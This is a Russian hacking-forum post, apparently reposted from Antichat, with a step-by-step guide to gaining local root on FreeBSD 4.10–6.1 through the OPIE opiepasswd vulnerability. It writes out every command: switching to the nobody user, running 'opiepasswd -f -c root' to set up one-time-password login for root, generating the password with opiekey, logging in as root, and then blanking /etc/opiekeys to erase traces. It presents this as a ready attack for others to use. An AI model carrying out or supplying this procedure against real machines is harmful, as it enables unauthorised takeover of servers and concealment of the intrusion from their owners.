Перейти к содержимому

 Друзья: Крипторы и джойнеры | XaKePoK.Su | Всё для вебмастера | [ Реклама на форуме ]

Поднимаем локальный рут FreeBSD 6 версии


  • Авторизуйтесь для ответа в теме
В этой теме нет ответов

#1
c0nstant1ne

c0nstant1ne

    Бит

  • Members
  • 8 сообщений
Constantine© ANTICHAT.RU

Что?
Поднимаем локальный рут во ФриБСД шестой версии

Зачем?
Я подумал, что это может быть кому то интересно, на форуме толковой статьи по этой теме не нашел.

Как?
Я собираюсь выложить важные куски манов, чтоб вы не запаривались их вычитывать. Моей целью не являлась расшифровка каждого значака, но даже не очень знающий человек скорее всего разберется. Если вы не знаете, что такое рут и для чего он добывается и что такое ФриБСД, то эта статья будет вам не интересна.

INTRO
Зайдя на сервис посвещенный комьютерной безопастностии поискав уязвимости FREEBSD (вы их найдете не мало) вы совершенно точно наткнетесь на багу: opie one time password system privilege escalation. Она позволяет непривилигированному пользователю повысить свои права до root
Этой уязвимости подвержены версии FreeBSD 4.10 FreeBSD 5.3 FreeBSD 5.4 FreeBSD 4.11 FreeBSD 6.0 FreeBsd 6.1 FreeBsd 5.5


Main
Рассмотрим на примере FreeBSD 6.0
1)Воспользуемся одноразовыми пролями.
Opiepassword программа для генерации одноразовых паролей. Дело в том, что если запустить програму от nobody, то она подумает, что ты root. Так можно организовать root' вход по one time password


2)Завладеть системой не так уж сложно, чем кажется на первый взгляд: надо запустить Opiepassword от nobody и организовать root'у вход по одноразовым паролям

В любой момент времени вы можете проверить свой статус комендой id

3)Для совершения взлома придеться почти все время читать маны.
Выполняем  
[code]-man su[/code]
В ответе нас интересует следующее

[CENTER][LEFT]
									  -m Leave the  environment  unmodiifed. Yhe  invoked  shell is   your 
									 login shell, and no directory  changes are made.  as  a  security
									 precaution, if the target user's shell  is  a  non-standard shell
									 (as defined by getusersshell(3)) and the caller's real uid is non-
									 zero, su will fail

4)Исходя из этого выполняем
[code] su -m nobody[/code]

теперь проверяем текущий статус.
В ответе вы прочитает, что то вроде

uid=77777(nobody) gid=77777(nobody) groups=77777(nobody)
это значит что теперь вы типичный непривилигированный пользователь - nobody

5)И снова читаем маны, на этот раз выполняем
[code]man opiepasswd[/code]

теперь нас интересуют 2 вещи в ответе
						   -c  Set console  mode  where  the  user  is  expected to have
								 secure access to the system. In console mode, you will be
								 asked to input  your  password directly instead of having
								 to  use  an OPIE calculator. If  you  do  not have secure
								 access to the system(i.e., you  are  not  on the system's
								 console), you are volunteering your password to attackers
								 by using this mode

							 -f  Force  opiepassword  to continue,  even where it normally
								 shouldn't. This is currently used  to force opiepasswd to
								 operate in "console" mode even from terminals it believes
								 to be insecure. It can also allow users to disclose their
								 secret pass phrases to attackars. Use of the -f flag  may
								 be disabled by  compile-time  option  in  your particular
								 build of OPIE

6)Помните что все еще непривилигированный пользователь. Пересмотрев ман выполняем

[code]opiepasswd -f -c root[/code]

В ответ вам выплюнут следующее, прочитайте ответ внимтельно.

Adding root:
Only this method from the console; NEVER from remote. If you are using
telnet, xterm, or a dial-in, type ^C now or exit whith no password
Then tun opiepasswd without the -c parameter.
Using MD5 to compute responses

7)Теперь вводим серетную фразу для генерации паролей, она должна быть не меньше 14 символов(это вам не must_die):)

В ответ ты получишь проль под неким номером, после номера следует ключ.
Примерно в таком виде
:

ID root OIP key is 276 ti8776 (номер и ключ)
Big skil king stay note game

Собственно, для рута включился решим one time password.
Установив новое подключение и
введя в качестве
login as: root
Вам ответят что-то вроде opt-md5 275 ti8776 и предложат ввести пароль


8)Теперь сгенерируем нужные нам ключи, для генерации пассов юзаем программу opiekey, которой в качестве аргумента передаеться номер пароля и ключ

[code]opiekey 275 ti8776[/code]
В ответ ты прочитаешь нужный вам пароль!


9)Теперь указав пароль в новом подключении вы аутентифицируетесь в FreeBSD
вбив id  и проверив свой статус вы получите

uid=0(root) gid=0(wheel) groups=0(wheel), 5(operator)

10)Теперь нужно выполнит:
exit

11)
Далее затираем файл opiekeys(для чего думаю не надо обьяснять)

[code]cd /etc
ls -ls|grep opie[/code]
Получив ответ выполняем
[code]cat opiekeys[/code]
В ответ вы должны узреть
root 0275 ti 8776	   [date and time]
Далее
 echo>opiekeys
		   cat opiekeys

RESULTS  Теперь все вернулось к первоначальной точке, только  у вас есть небольшое преимущество. Остаеться только сварганить эксплойт :P

Ссылки и благодарности
Каких то особых ссылок я бы не дал, уязвимость достаточно известная, но к примеру
]]>http://security.nnov.ru/soft/7761.html]]>
Благодарность одна, но большая, обращенная к F0rtress Zero.

Отмазы
Это первая моя статья для античата, незнаю насколько она не боянная, но я ничего не катал. Прошу не осыпать меня проклятьями.


Добовления Бага абсолютно рабочая, но все-же патч выпущен был, поэтому уязвимость может быть закрыта, все зависит от конкретного случая

Constantine for Antichat


Количество пользователей, читающих эту тему: 0

0 пользователей, 0 гостей, 0 анонимных